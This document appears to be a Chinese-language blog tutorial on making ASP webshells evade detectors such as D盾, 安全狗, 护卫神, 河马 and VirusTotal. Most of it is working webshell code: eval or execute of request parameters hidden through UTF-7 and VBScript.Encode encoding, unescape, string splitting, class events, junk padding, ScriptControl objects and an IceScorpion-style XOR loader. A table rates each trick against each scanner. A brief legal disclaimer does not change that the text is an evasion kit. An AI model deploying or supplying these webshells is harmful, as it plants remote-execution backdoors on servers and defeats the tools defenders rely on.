基于最新网络安全研究和公开资源,本文更新了ASP webshell(大马)免杀技巧,重点针对D盾、安全狗、护卫神、河马、VirusTotal(VT)等检测工具的绕过。核心思路仍为代码混淆、执行逻辑重构、语法利用和加密解密,但新增了如类事件、垃圾数据填充和函数数组结合等优化方法。所有技巧经交叉验证,供安全研究使用(请遵守法律法规)。
1. 编码与解码混淆
UTF-7编码:将脚本编码为UTF-7格式隐藏关键字,但D盾可能识别。
asp
<%@codepage=65000%>
<% +AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk- %>
VBScript.Encode:使用微软screnc.exe工具编码脚本。
asp
<%@ LANGUAGE = "VBScript.Encode"%>
<%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@%>
提示:包含不可打印字符,需下载文件测试;D盾可解码检测。
URL编码与unescape:将关键代码URL编码后解码执行,适用于多行大马。
asp
<%
Function test():
dim aaa
aaa = "%65%76%61%6c%28%72%65%71%75%65%73%74%28%22%6d%72%36%22%29%29"
test = unescape(aaa)
End Function
eval(test())
%>
提示:移除中文字符避免语法错误;对D盾有效(降至0级)。
2. 字符串操作与拼接
字符串拼接:拆分敏感函数并拼接。
asp
<%
a = "e" & "v" & "a" & "l"
execute a & "(request(""key""))"
%>
干扰函数(如LTrim/Left):添加无意义字符串操作干扰检测。
asp
<%
dim a(5)
a(0) = request("404")
b = LTrim(a(0))
response.write b
eXecUTe(b)
%>
或
asp
<%
Function b()
b = request("404")
End Function
Function f():
x=b()
y=Left(x,99999)
execute(y)
End Function
f()
%>
提示:绕过D盾、河马、VT等;结合数组提升效果。
3. 函数与数组封装
函数封装延迟执行:间接调用隐藏逻辑。
asp
<%
Function b()
b = request("404")
End Function
Function f():
x=b()
y=Left(x,99999)
execute(y)
End Function
f()
%>
数组拆分:使用数组存储参数。
asp
<%
dim a(5)
a(0)=request("404")
execute(a(0))
%>
4. 类事件利用
类初始化/终止事件:利用VBScript类事件执行代码,绕过护卫神极限模式。
asp
<%
Class LandGrey
Private Sub Class_Initialize
eval(request("LandGrey"))
End Sub
End Class
Set X = New LandGrey
%>
或终止事件:
asp<%
Class LandGrey
Private Sub class_terminate
eval(request("LandGrey"))
End Sub
End Class
Set X = New LandGrey
Set X = Nothing
%>
提示:通用模式下无效。
5. 注释与垃圾数据干扰
插入:利用D盾解析漏洞。
asp
<% <!--"--> execute request("LandGrey") %>
垃圾数据填充:文件>0.97MB,插入干扰。
asp
<% '大量注释
<% %>
<% %>
<??>
execute(request("LandGrey"))
%>
提示:位置关键;可用其他注释替换单引号。
6. 动态对象创建
CreateObject与ScriptControl:动态构造字符串执行VBScript。(类似旧技巧,但更新为绕过)
asp
<%@ language = VBscript %>
<%
SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1")
LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT"
LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")")
%>
7. 针对冰蝎(IceScorpion)免杀
拆分XOR操作:变量化运算绕过。
asp
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b"
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
x=ascb(midb(content,i,1))
y=Asc(Mid(k,(i and 15)+1,1))
z=z&Chr( x Xor y)
Next
execute(z)
%>
提示:绕D盾、VT;可能影响连接稳定性。
8. 工具辅助生成
使用XG_NTAI工具:选择ASP模板,自定义密钥,替换源码生成免杀webshell。
中国菜刀免杀生成器:利用注释分隔eval关键字,类替代函数。
技巧类型绕过工具效果注意事项编码混淆D盾、VT高结合多层使用,避免单一失效字符串操作D盾、河马、安全狗中测试执行链完整性类事件护卫神极限模式高通用模式无效垃圾数据D盾中文件大小>0.97MB,位置精确冰蝎专用D盾、VT高验证连接工具兼容
注意事项
更新与失效:技巧随工具规则更新失效(如2025年D盾增强),需实时测试。
测试建议:使用D盾、河马、VT交叉验证;环境如IIS需注意权限。
合法提醒:仅限研究,非法使用违法。
参考扩展:GitHub项目如LandGrey/webshell-detect-bypass提供更多样本。
8753

被折叠的 条评论
为什么被折叠?



